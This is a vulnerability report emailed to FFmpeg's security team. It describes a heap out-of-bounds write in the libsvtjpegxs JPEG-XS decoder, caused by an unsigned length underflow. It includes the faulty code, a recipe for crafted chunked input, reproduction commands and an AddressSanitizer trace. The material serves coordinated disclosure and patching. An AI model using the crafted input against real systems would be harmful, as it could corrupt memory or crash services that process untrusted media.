Pwno

Ruikai Peng <ruikai@pwno.io>

Heap OOB write in libsvtjpegxs decoder, chunk mode, from 08db85015977

Ruikai Peng <ruikai@pwno.io> Sun, Dec 14, 2025 at 12:06 PM
To: ffmpeg-security@ffmpeg.org

ffmpeg-security team,

I'd like to report a heap out-of-bounds write in the libsvtjpegxs decoder (libavcodec/libsvtjpegxsdec.c) introduced in commit 08db85015977af1dbcf3feb9597f36b377bfcfe5 ("avcodec: add JPEG-XS decoder and encoder using libsvtjpegxs"). The bug is still present on current master (tested at b802eeabff).

- In chunk decoding mode (avpkt->size < frame_size), the decoder accumulates payload in bitstream_buffer and advances buffer_filled_len.
- When libsvtjpegxs returns an error (SvtJxsError* are positive) after the buffer has reached/exceeded frame_size, the FFmpeg wrapper returns that positive error directly from the decode callback. FFmpeg treats any non-negative return as "bytes consumed" and keeps calling the decoder.
- On the next packet, buffer_filled_len remains > frame_size. The code sets bitstream_addr = bitstream_buffer + buffer_filled_len and then:

```
if ((bytes_to_copy + buffer_filled_len) > frame_size)
    bytes_to_copy = frame_size - buffer_filled_len; // underflows when buffer_filled_len > frame_size
memcpy(bitstream_addr, avpkt->data, bytes_to_copy);
```

Because buffer_filled_len > frame_size and both are unsigned, frame_size - buffer_filled_len wraps to a large value, leading to a heap OOB write (and OOB read from avpkt->data).

- Repro (ASAN build, master b802eeabff)
1. Build SVT-JPEG-XS 0.10.0 (shared) and rebuild FFmpeg with ASAN + --enable-libsvtjpegxs:

```
PKG_CONFIG_PATH=/usr/local/lib/pkgconfig ./configure --cc=clang \
  --extra-cflags='-fsanitize=address -g' --extra-ldflags='-fsanitize=address' \
  --disable-stripping --disable-optimizations --enable-libsvtjpegxs
make -j$(nproc)
```

2. Generate a small valid JPEG-XS stream and split into chunks so the decoder sees multiple packets:
   - *valid stream: 64x64 yuv420p 8-bit -> sample.jxs*
   - *chunks: chunk1 = first 400 bytes of sample.jxs; chunk2 = 2500 zero bytes; chunk3 = 1 byte 0xff*
   - *concat script (chunks.ffconcat):*

```
ffconcat version 1.0
file chunk1.jxs
duration 0.04
file chunk2.jxs
duration 0.04
file chunk3.jxs
duration 0.04
```

3. Run with ASAN:

```
LD_LIBRARY_PATH=/usr/local/lib ASAN_OPTIONS=detect_leaks=0 \
./ffmpeg -v debug -safe 0 -protocol_whitelist file \
  -f concat -i chunks.ffconcat \
  -c:v libsvtjpegxs -f null -
```

```
[AVFormatContext @ 0x517000010380] Opening 'chunk3.jxs' for reading
[image2 @ 0x517000010380] Format image2 probed with size=2048 and score=50
[image2 @ 0x517000010380] Before avformat_find_stream_info() pos: 0 bytes read:1 seeks:0 nb_streams:1
[libsvtjpegxs @ 0x519000021200] svt_jpeg_xs_decoder_get_single_frame_size_with_proxy failed, err=-2147471357
[image2 @ 0x517000010380] Could not find codec parameters for stream 0 (Video: jpegxs (libsvtjpegxs), 1 reference frame, none): unspecified size
Consider increasing the value for the 'analyzeduration' (0) and 'probesize' (5000000) options
[image2 @ 0x517000010380] After avformat_find_stream_info() pos: 1 bytes read:1 seeks:0 frames:1
[concat @ 0x517000000080] file:2 stream:0 pts:0 pts_time:0 dts:0 dts_time:0 -> pts:2 pts_time:0.08 dts:2 dts_time:0.08
[in#0/concat @ 0x513000000200] EOF while reading input
[in#0/concat @ 0x513000000200] Terminating thread with return code 0 (success)
----------------------------------------
Error: (OCLI) corruption detected - unpacked=1 , expected=0
[thread_universal_stage_kernel:Process ID: 21] 0, 0x51d00000fae6, 1946 HANDLE ERROR!!!
[libsvtjpegxs @ 0x519000003200] svt_jpeg_xs_decoder_get_frame failed, err=-2147471359
[vist#0:0/jpegxs @ 0x514000000440] [dec:libsvtjpegxs @ 0x5130000018c0] Error submitting packet to decoder: Error number -2147471359 occurred
=================================================================
==951624==ERROR: AddressSanitizer: negative-size-param: (size=-852)
    #0 0x5bbf854faa4a in __asan_memcpy (/repo/FFmpeg/ffmpeg+0x5d5a4a) (BuildId: dd5c1f5946d63954a1f3d227dedaa30b1f0653ff)
    #1 0x5bbf8773d4d5 in svt_jpegxs_dec_decode /repo/FFmpeg/libavcodec/libsvtjpegxsdec.c:161:9
    #2 0x5bbf870359e8 in decode_simple_internal /repo/FFmpeg/libavcodec/decode.c:444:15
    #3 0x5bbf87026bdc in decode_simple_receive_frame /repo/FFmpeg/libavcodec/decode.c:604:15
    #4 0x5bbf870239a3 in ff_decode_receive_frame_internal /repo/FFmpeg/libavcodec/decode.c:640:15
    #5 0x5bbf870262ed in decode_receive_frame_internal /repo/FFmpeg/libavcodec/decode.c:658:15
    #6 0x5bbf870261c2 in avcodec_send_packet /repo/FFmpeg/libavcodec/decode.c:734:15
    #7 0x5bbf85541ee9 in packet_decode /repo/FFmpeg/fftools/ffmpeg_dec.c:724:11
    #8 0x5bbf85540631 in decoder_thread /repo/FFmpeg/fftools/ffmpeg_dec.c:955:15
    #9 0x5bbf855dee7b in task_wrapper /repo/FFmpeg/fftools/ffmpeg_sched.c:2668:11
    #10 0x5bbf854fa74c in asan_thread_start(void*) asan_interceptors.cpp.o
    #11 0x7bf00389caa3 in start_thread nptl/pthread_create.c:447:8
    #12 0x7bf003929c6b in clone3 misc/../sysdeps/unix/sysv/linux/x86_64/clone3.S:78

0x507000003820 is located 0 bytes inside of 65-byte region [0x507000003820,0x507000003861)
allocated by thread T7 (dmx0:concat) here:
    #0 0x5bbf854fd000 in realloc (/repo/FFmpeg/ffmpeg+0x5d8000) (BuildId: dd5c1f5946d63954a1f3d227dedaa30b1f0653ff)
    #1 0x5bbf89d91d0d in av_realloc /repo/FFmpeg/libavutil/mem.c:164:11
    #2 0x5bbf89d8b581 in av_buffer_realloc /repo/FFmpeg/libavutil/buffer.c:192:25
    #3 0x5bbf87adfa1a in packet_alloc /repo/FFmpeg/libavcodec/packet.c:89:11
    #4 0x5bbf87adf822 in av_new_packet /repo/FFmpeg/libavcodec/packet.c:101:15
    #5 0x5bbf86586583 in ff_img_read_packet /repo/FFmpeg/libavformat/img2dec.c:468:11
    #6 0x5bbf86446b15 in ff_read_packet /repo/FFmpeg/libavformat/demux.c:649:15
    #7 0x5bbf86448e08 in read_frame_internal /repo/FFmpeg/libavformat/demux.c:1370:15
    #8 0x5bbf8645175a in avformat_find_stream_info /repo/FFmpeg/libavformat/demux.c:2763:15
    #9 0x5bbf8641d25a in open_file /repo/FFmpeg/libavformat/concatdec.c:380:16
    #10 0x5bbf86421734 in open_next_file /repo/FFmpeg/libavformat/concatdec.c:716:12
    #11 0x5bbf864199a3 in concat_read_packet /repo/FFmpeg/libavformat/concatdec.c:771:24
    #12 0x5bbf86446b15 in ff_read_packet /repo/FFmpeg/libavformat/demux.c:649:15
    #13 0x5bbf86448e06 in read_frame_internal /repo/FFmpeg/libavformat/demux.c:1370:15
    #14 0x5bbf86447d90 in av_read_frame /repo/FFmpeg/libavformat/demux.c:1569:17
    #15 0x5bbf85555068 in input_thread /repo/FFmpeg/fftools/ffmpeg_demux.c:748:15
    #16 0x5bbf855dee7b in task_wrapper /repo/FFmpeg/fftools/ffmpeg_sched.c:2668:11
    #17 0x5bbf854fa74c in asan_thread_start(void*) asan_interceptors.cpp.o

Thread T6 (dec0:0:libsvtjp) created by T0 here:
    #0 0x5bbf854e25d5 in pthread_create (/repo/FFmpeg/ffmpeg+0x5bd5d5) (BuildId: dd5c1f5946d63954a1f3d227dedaa30b1f0653ff)
    #1 0x5bbf855d6aa4 in task_start /repo/FFmpeg/fftools/ffmpeg_sched.c:415:11
    #2 0x5bbf855d53cd in sch_start /repo/FFmpeg/fftools/ffmpeg_sched.c:1739:15
    #3 0x5bbf85627f89 in transcode /repo/FFmpeg/fftools/ffmpeg.c:895:11
    #4 0x5bbf85627c61 in main /repo/FFmpeg/fftools/ffmpeg.c:1030:11
    #5 0x7bf00382a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #6 0x7bf00382a28a in __libc_start_main csu/../csu/libc-start.c:360:3
    #7 0x5bbf85461e14 in _start (/repo/FFmpeg/ffmpeg+0x53ce14) (BuildId: dd5c1f5946d63954a1f3d227dedaa30b1f0653ff)

Thread T7 (dmx0:concat) created by T0 here:
    #0 0x5bbf854e25d5 in pthread_create (/repo/FFmpeg/ffmpeg+0x5bd5d5) (BuildId: dd5c1f5946d63954a1f3d227dedaa30b1f0653ff)
    #1 0x5bbf855d6aa4 in task_start /repo/FFmpeg/fftools/ffmpeg_sched.c:415:11
    #2 0x5bbf855d557c in sch_start /repo/FFmpeg/fftools/ffmpeg_sched.c:1750:15
    #3 0x5bbf85627f89 in transcode /repo/FFmpeg/fftools/ffmpeg.c:895:11
    #4 0x5bbf85627c61 in main /repo/FFmpeg/fftools/ffmpeg.c:1030:11
    #5 0x7bf00382a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #6 0x7bf00382a28a in __libc_start_main csu/../csu/libc-start.c:360:3
    #7 0x5bbf85461e14 in _start (/repo/FFmpeg/ffmpeg+0x53ce14) (BuildId: dd5c1f5946d63954a1f3d227dedaa30b1f0653ff)

SUMMARY: AddressSanitizer: negative-size-param (/repo/FFmpeg/ffmpeg+0x5d5a4a) (BuildId: dd5c1f5946d63954a1f3d227dedaa30b1f0653ff) in __asan_memcpy
==951624==ABORTING
λ /repo/FFmpeg/ b002eeabff*
```

'

ASAN crash:
- AddressSanitizer: negative-size-param in memcpy
- libavcodec/libsvtjpegxsdec.c:161 (bytes_to_copy = frame_size - buffer_filled_len; memcpy with wrapped length)
- Stack shows libsvtjpegxs returning a positive error (-2147471359), FFmpeg continues, and the next packet triggers the underflow/OOB.

Heap OOB write/read in FFmpeg-owned code, reachable with crafted fragmented JPEG-XS input when libsvtjpegxs reports an error after filling the buffer.

I will draft a PR after review

Thanks,
- Ruikai Peng